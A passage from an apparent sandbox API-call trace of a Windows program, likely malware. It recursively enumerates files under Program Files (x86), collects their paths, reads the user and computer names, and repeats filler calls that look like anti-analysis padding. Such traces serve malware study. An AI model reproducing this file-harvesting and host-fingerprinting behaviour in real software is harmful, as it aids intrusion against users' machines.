(x86)\\Windows Portable Devices\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.594] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.594] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.594] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.594] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.594] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.594] lstrcmpW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0031.594] lstrcmpW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0031.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\") returned 48 [0031.594] lstrlenW (lpString="sqmapi.dll") returned 10 [0031.594] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\", lpString2="sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" [0031.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned 58 [0031.594] lstrcpyW (in: lpString1=0x25e6340, lpString2="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" [0031.594] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.594] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.594] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.594] lstrcmpW (lpString1="Windows Sidebar", lpString2=".") returned 1 [0031.594] lstrcmpW (lpString1="Windows Sidebar", lpString2="..") returned 1 [0031.594] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.594] lstrlenW (lpString="Windows Sidebar") returned 15 [0031.594] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Sidebar" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar") returned="c:\\Program Files (x86)\\Windows Sidebar" [0031.594] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\" [0031.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0031.594] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\*" [0031.594] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.594] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.594] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.594] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.594] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.594] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.594] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0031.594] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0031.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0031.594] lstrlenW (lpString="en-US") returned 5 [0031.594] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US" [0031.594] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\" [0031.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0031.594] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*" [0031.594] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.595] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.595] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.595] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.595] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.595] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.595] lstrcmpW (lpString1="sbdrop.dll.mui", lpString2=".") returned 1 [0031.595] lstrcmpW (lpString1="sbdrop.dll.mui", lpString2="..") returned 1 [0031.595] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0031.595] lstrlenW (lpString="sbdrop.dll.mui") returned 14 [0031.595] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="sbdrop.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" [0031.595] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned 59 [0031.595] lstrcpyW (in: lpString1=0x25e63c0, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" [0031.595] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.595] lstrcmpW (lpString1="Sidebar.exe.mui", lpString2=".") returned 1 [0031.595] lstrcmpW (lpString1="Sidebar.exe.mui", lpString2="..") returned 1 [0031.595] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0031.595] lstrlenW (lpString="Sidebar.exe.mui") returned 15 [0031.595] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="Sidebar.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" [0031.595] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned 60 [0031.595] lstrcpyW (in: lpString1=0x25e29b8, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" [0031.595] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.595] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.595] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.595] lstrcmpW (lpString1="Gadgets", lpString2=".") returned 1 [0031.595] lstrcmpW (lpString1="Gadgets", lpString2="..") returned 1 [0031.595] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0031.595] lstrlenW (lpString="Gadgets") returned 7 [0031.595] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="Gadgets" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets" [0031.595] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\" [0031.595] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0031.595] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*" [0031.595] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.596] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.596] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.596] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.596] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.596] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.596] lstrcmpW (lpString1="Calendar.Gadget", lpString2=".") returned 1 [0031.596] lstrcmpW (lpString1="Calendar.Gadget", lpString2="..") returned 1 [0031.596] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0031.596] lstrlenW (lpString="Calendar.Gadget") returned 15 [0031.596] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Calendar.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget" [0031.596] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.596] lstrcmpW (lpString1="Clock.Gadget", lpString2=".") returned 1 [0031.596] lstrcmpW (lpString1="Clock.Gadget", lpString2="..") returned 1 [0031.596] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0031.596] lstrlenW (lpString="Clock.Gadget") returned 12 [0031.596] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Clock.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget" [0031.596] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.596] lstrcmpW (lpString1="CPU.Gadget", lpString2=".") returned 1 [0031.596] lstrcmpW (lpString1="CPU.Gadget", lpString2="..") returned 1 [0031.596] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0031.596] lstrlenW (lpString="CPU.Gadget") returned 10 [0031.596] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="CPU.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget" [0031.596] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.596] lstrcmpW (lpString1="Currency.Gadget", lpString2=".") returned 1 [0031.596] lstrcmpW (lpString1="Currency.Gadget", lpString2="..") returned 1 [0031.596] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0031.596] lstrlenW (lpString="Currency.Gadget") returned 15 [0031.596] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Currency.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget" [0031.596] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.596] lstrcmpW (lpString1="PicturePuzzle.Gadget", lpString2=".") returned 1 [0031.596] lstrcmpW (lpString1="PicturePuzzle.Gadget", lpString2="..") returned 1 [0031.596] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0031.596] lstrlenW (lpString="PicturePuzzle.Gadget") returned 20 [0031.596] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="PicturePuzzle.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" [0031.596] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.596] lstrcmpW (lpString1="RSSFeeds.Gadget", lpString2=".") returned 1 [0031.596] lstrcmpW (lpString1="RSSFeeds.Gadget", lpString2="..") returned 1 [0031.596] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0031.596] lstrlenW (lpString="RSSFeeds.Gadget") returned 15 [0031.596] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="RSSFeeds.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" [0031.596] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.596] lstrcmpW (lpString1="SlideShow.Gadget", lpString2=".") returned 1 [0031.596] lstrcmpW (lpString1="SlideShow.Gadget", lpString2="..") returned 1 [0031.596] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0031.596] lstrlenW (lpString="SlideShow.Gadget") returned 16 [0031.596] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="SlideShow.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" [0031.596] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.596] lstrcmpW (lpString1="Weather.Gadget", lpString2=".") returned 1 [0031.596] lstrcmpW (lpString1="Weather.Gadget", lpString2="..") returned 1 [0031.596] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0031.597] lstrlenW (lpString="Weather.Gadget") returned 14 [0031.597] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Weather.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget" [0031.597] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.597] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.597] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.597] lstrcmpW (lpString1="pie.exe", lpString2=".") returned 1 [0031.597] lstrcmpW (lpString1="pie.exe", lpString2="..") returned 1 [0031.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0031.597] lstrlenW (lpString="pie.exe") returned 7 [0031.597] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="pie.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" [0031.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned 46 [0031.597] lstrcpyW (in: lpString1=0x25e8e20, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" [0031.597] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.597] lstrcmpW (lpString1="sbdrop.dll", lpString2=".") returned 1 [0031.597] lstrcmpW (lpString1="sbdrop.dll", lpString2="..") returned 1 [0031.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0031.597] lstrlenW (lpString="sbdrop.dll") returned 10 [0031.597] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="sbdrop.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll" [0031.597] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll") returned 49 [0031.605] GetUserNameA (in: lpBuffer=0x3bfa78, pcbBuffer=0x3bf7fc | out: lpBuffer="aETAdzjz", pcbBuffer=0x3bf7fc) returned 1 [0031.606] GetComputerNameA (in: lpBuffer=0x3bf978, nSize=0x3bf7fc | out: lpBuffer="YKYD69Q", nSize=0x3bf7fc) returned 1 [0031.607] GetComputerNameExA (in: NameType=0x1, lpBuffer=0x3bf878, nSize=0x3bf7fc | out: lpBuffer="YKyd69q", nSize=0x3bf7fc) returned 1 [0031.607] lstrlenA (lpString="aETAdzjz") returned 8 [0031.613] lstrlenA (lpString="just string") returned 11 [0031.613] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.613] GetLastError () returned 0x57 [0031.613] GetCurrentProcess () returned 0xffffffff [0031.613] GetLastError () returned 0x57 [0031.613] wsprintfA (in: param_1=0x3bfd93, param_2="%X%P" | out: param_1="37P") returned 3 [0031.613] SetLastError (dwErrCode=0x57) [0031.613] GetCurrentProcessId () returned 0xb44 [0031.614] GetLastError () returned 0x57 [0031.614] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="38P") returned 3 [0031.614] SetLastError (dwErrCode=0x57) [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] lstrlenA (lpString="just string") returned 11 [0031.614] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.614] GetLastError () returned 0x57 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] lstrlenA (lpString="just string") returned 11 [0031.614] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.614] GetLastError () returned 0x57 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] lstrlenA (lpString="just string") returned 11 [0031.614] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.614] GetLastError () returned 0x57 [0031.614] GetLastError () returned 0x57 [0031.614] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.614] SetLastError (dwErrCode=0x57) [0031.614] GetCurrentProcess () returned 0xffffffff [0031.614] GetLastError () returned 0x57 [0031.614] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="F4P") returned 3 [0031.614] SetLastError (dwErrCode=0x57) [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] GetCurrentProcess () returned 0xffffffff [0031.614] GetLastError () returned 0x57 [0031.614] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="F5P") returned 3 [0031.614] SetLastError (dwErrCode=0x57) [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] GetLastError () returned 0x57 [0031.614] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="F6P") returned 3 [0031.614] SetLastError (dwErrCode=0x57) [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] lstrlenA (lpString="just string") returned 11 [0031.614] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.614] GetLastError () returned 0x57 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] lstrlenA (lpString="just string") returned 11 [0031.614] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.614] GetLastError () returned 0x57 [0031.614] GetLastError () returned 0x57 [0031.614] GetLastError () returned 0x57 [0031.614] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="146P") returned 4 [0031.614] SetLastError (dwErrCode=0x57) [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] lstrlenA (lpString="just string") returned 11 [0031.614] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.614] GetLastError () returned 0x57 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.614] GetCurrentProcessId () returned 0xb44 [0031.615] lstrlenA (lpString="just string") returned 11 [0031.615] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.615] GetLastError () returned 0x57 [0031.615] GetCurrentProcess () returned 0xffffffff [0031.615] GetLastError () returned 0x57 [0031.615] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1D1P") returned 4 [0031.615] SetLastError (dwErrCode=0x57) [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] GetLastError () returned 0x57 [0031.615] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1D2P") returned 4 [0031.615] SetLastError (dwErrCode=0x57) [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] lstrlenA (lpString="just string") returned 11 [0031.615] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.615] GetLastError () returned 0x57 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] lstrlenA (lpString="just string") returned 11 [0031.615] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.615] GetLastError () returned 0x57 [0031.615] GetLastError () returned 0x57 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] lstrlenA (lpString="just string") returned 11 [0031.615] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.615] GetLastError () returned 0x57 [0031.615] GetLastError () returned 0x57 [0031.615] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="268P") returned 4 [0031.615] SetLastError (dwErrCode=0x57) [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] lstrlenA (lpString="just string") returned 11 [0031.615] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.615] GetLastError () returned 0x57 [0031.615] GetCurrentProcess () returned 0xffffffff [0031.615] GetLastError () returned 0x57 [0031.615] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="27BP") returned 4 [0031.615] SetLastError (dwErrCode=0x57) [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] GetLastError () returned 0x57 [0031.615] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="27CP") returned 4 [0031.615] SetLastError (dwErrCode=0x57) [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] lstrlenA (lpString="just string") returned 11 [0031.615] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.615] GetLastError () returned 0x57 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] GetCurrentProcessId () returned 0xb44 [0031.615] lstrlenA (lpString="just string") returned 11 [0031.615] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.615] GetLastError () returned 0x57 [0031.615] GetLastError () returned 0x57 [0031.615] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.616] SetLastError (dwErrCode=0x57) [0031.616] GetCurrentProcess () returned 0xffffffff [0031.616] GetLastError () returned 0x57 [0031.616] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2CAP") returned 4 [0031.616] SetLastError (dwErrCode=0x57) [0031.616] GetCurrentProcessId () returned 0xb44 [0031.616] GetCurrentProcess () returned 0xffffffff [0031.616] GetLastError () returned 0x57 [0031.616] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2CBP") returned 4 [0031.616] SetLastError (dwErrCode=0x57) [0031.616] GetCurrentProcessId () returned 0xb44 [0031.616] GetLastError () returned 0x57 [0031.616] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2CCP") returned 4 [0031.616] SetLastError (dwErrCode=0x57) [0031.616] GetCurrentProcessId () returned 0xb44 [0031.616] GetCurrentProcessId () returned 0xb44 [0031.616] GetCurrentProcessId () returned 0xb44 [0031.616] GetCurrentProcessId () returned 0xb44 [0031.616] lstrlenA (lpString="just string") returned 11 [0031.616] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.616] GetLastError () returned 0x57 [0031.616] GetCurrentProcessId () returned 0xb44 [0031.616] lstrlenA (lpString="just string") returned 11 [0031.616] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.616] GetLastError () returned 0x57 [0031.616] GetLastError () returned 0x57 [0031.616] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.616] SetLastError (dwErrCode=0x57) [0031.616] GetCurrentProcess () returned 0xffffffff [0031.616] GetLastError () returned 0x57 [0031.616] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="31AP") returned 4 [0031.616] SetLastError (dwErrCode=0x57) [0031.616] GetCurrentProcessId () returned 0xb44 [0031.616] GetCurrentProcess () returned 0xffffffff [0031.616] GetLastError () returned 0x57 [0031.616] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="31BP") returned 4 [0031.616] SetLastError (dwErrCode=0x57) [0031.616] GetCurrentProcessId () returned 0xb44 [0031.616] GetLastError () returned 0x57 [0031.616] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="31CP") returned 4 [0031.616] SetLastError (dwErrCode=0x57) [0031.616] GetCurrentProcessId () returned 0xb44 [0031.616] GetCurrentProcessId () returned 0xb44 [0031.616] GetCurrentProcessId () returned 0xb44 [0031.616] GetCurrentProcessId () returned 0xb44 [0031.616] lstrlenA (lpString="just string") returned 11 [0031.616] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.616] GetLastError () returned 0x57 [0031.616] GetLastError () returned 0x57 [0031.616] GetLastError () returned 0x57 [0031.616] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.617] SetLastError (dwErrCode=0x57) [0031.617] GetCurrentProcess () returned 0xffffffff [0031.617] GetLastError () returned 0x57 [0031.617] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="374P") returned 4 [0031.617] SetLastError (dwErrCode=0x57) [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] GetCurrentProcess () returned 0xffffffff [0031.617] GetLastError () returned 0x57 [0031.617] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="375P") returned 4 [0031.617] SetLastError (dwErrCode=0x57) [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] GetLastError () returned 0x57 [0031.617] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="376P") returned 4 [0031.617] SetLastError (dwErrCode=0x57) [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] lstrlenA (lpString="just string") returned 11 [0031.617] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.617] GetLastError () returned 0x57 